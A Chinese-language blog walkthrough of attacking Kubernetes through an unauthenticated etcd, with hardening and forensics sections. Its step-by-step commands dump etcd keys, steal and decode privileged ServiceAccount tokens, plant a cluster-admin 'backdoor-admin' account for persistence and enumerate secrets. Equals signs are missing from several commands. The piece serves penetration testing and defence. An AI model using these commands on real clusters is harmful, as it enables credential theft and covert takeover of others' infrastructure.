从ETCD未授权到K8s集群沦陷:一次完整的攻击路径复现
1. 从ETCD未授权访问到集群沦陷攻击链全景我第一次遇到ETCD未授权访问漏洞是在一次内部红队演练中。当时目标系统看起来一切正常Kubernetes集群运行平稳所有服务都处于健康状态。但当我无意中发现2379端口对外开放时整个局面瞬间改变——这个看似不起眼的配置失误最终导致整个集群被完全接管。ETCD作为Kubernetes的大脑存储着集群所有的关键数据。当它暴露在公网且未配置认证时攻击者就像拿到了打开保险箱的万能钥匙。我见过太多团队把精力集中在Kubernetes API Server的安全加固上却忽略了背后这个更致命的弱点。实际测试中从发现漏洞到获取集群控制权最快只需要15分钟。2. 漏洞发现与初步探测2.1 识别暴露的ETCD服务在真实环境中我通常先用nmap进行快速扫描nmap -p 2379,2380 10.0.0.0/24 --open如果发现开放端口接下来会用curl做简单验证curl -k https://10.0.0.100:2379/version正常会返回类似{etcdserver:3.5.0,etcdcluster:3.5.0}的响应。这里有个细节很多管理员以为启用TLS就安全了但实际上如果没配置客户端证书验证TLS形同虚设。2.2 使用etcdctl进行数据探测确认漏洞存在后我会使用官方etcdctl工具进行深入探查。这里有个坑点不同版本的etcdctl命令格式差异很大。对于v3版本正确的查询命令是ETCDCTL_API3 etcdctl \ --endpointshttps://10.0.0.100:2379 \ --insecure-skip-tls-verify \ get / --prefix --keys-only这个命令会列出ETCD中存储的所有键名。我经常看到集群里存储着这些危险数据/registry/secrets下的ServiceAccount token/registry/configmaps里的敏感配置/registry/deployments包含的镜像信息3. 关键攻击阶段窃取凭证3.1 定位高权限Token在输出的键名列表中我会重点查找包含token的条目grep -a /secrets/.*token etcd_dump.txt典型的高权限token路径类似/registry/secrets/kube-system/kube-controller-manager-token-xxxxx获取token内容的完整命令ETCDCTL_API3 etcdctl \ --endpointshttps://10.0.0.100:2379 \ --insecure-skip-tls-verify \ get /registry/secrets/kube-system/kube-controller-manager-token-xxxxx输出是base64编码的需要解码echo ZXlKaGJHY2lPa... | base64 -d3.2 Token权限验证拿到token后我会先用kubectl检查权限kubectl --insecure-skip-tls-verify \ --serverhttps://10.0.0.100:6443 \ --tokeneyJhbGciOiJSUzI... \ auth can-i --list这个命令会显示该token拥有的所有权限。在最近的一次测试中我发现某个生产环境的token竟然有*.*权限相当于集群的root账户。4. 集群接管实战4.1 建立持久化访问有了高权限token我会先创建一个后门ServiceAccountkubectl create serviceaccount backdoor-admin kubectl create clusterrolebinding backdoor-admin \ --clusterrolecluster-admin \ --serviceaccountdefault:backdoor-admin然后获取这个新账号的tokenkubectl get secret $(kubectl get serviceaccount backdoor-admin -o jsonpath{.secrets[0].name}) -o jsonpath{.data.token} | base64 -d4.2 横向移动技术在控制API Server后我会枚举所有资源# 获取所有命名空间 kubectl get ns -o jsonpath{.items[*].metadata.name} # 获取所有pod信息 kubectl get pods -A -o wide # 查看集群角色绑定 kubectl get clusterrolebindings -o wide曾经在某次渗透中我通过这种方式发现了包含数据库凭证的ConfigMap进而拿下了整个业务系统的数据。5. 防御措施与加固建议5.1 ETCD安全配置生产环境必须启用双向TLS认证。这是最基础的etcd配置示例# /etc/etcd/etcd.conf ETCD_LISTEN_CLIENT_URLShttps://127.0.0.1:2379 ETCD_ADVERTISE_CLIENT_URLShttps://127.0.0.1:2379 ETCD_CERT_FILE/etc/etcd/ssl/server.pem ETCD_KEY_FILE/etc/etcd/ssl/server-key.pem ETCD_TRUSTED_CA_FILE/etc/etcd/ssl/ca.pem ETCD_CLIENT_CERT_AUTHtrue5.2 Kubernetes加固方案建议实施这些安全措施定期轮换ServiceAccount token启用RBAC并遵循最小权限原则使用NetworkPolicy限制pod间通信部署审计日志并监控异常API调用有次我在做安全评估时发现某客户虽然配置了RBAC但给default命名空间的ServiceAccount赋予了cluster-admin角色。这种错误配置会让所有防御措施前功尽弃。6. 攻击痕迹清理与取证6.1 攻击者视角的清理技巧攻击者通常会删除操作历史但总会留下蛛丝马迹。比如kubectl命令会被记录在~/.kube/cache/ ~/.kube/http-cache/以及API Server的审计日志中。我曾见过攻击者忘记清理kubectl的临时文件里面完整记录了所有恶意操作。6.2 防御者的取证方法建议检查这些关键日志# API Server审计日志 journalctl -u kube-apiserver --since 24 hours ago # ETCD操作日志 etcdctl --endpointshttps://127.0.0.1:2379 \ --cacert/etc/kubernetes/pki/etcd/ca.crt \ --cert/etc/kubernetes/pki/etcd/server.crt \ --key/etc/kubernetes/pki/etcd/server.key \ watch --prefix /registry在最近处理的一个安全事件中客户通过分析API Server的审计日志成功定位到了攻击者的入口点和操作时间线。这再次证明完善的日志记录是事后调查的关键。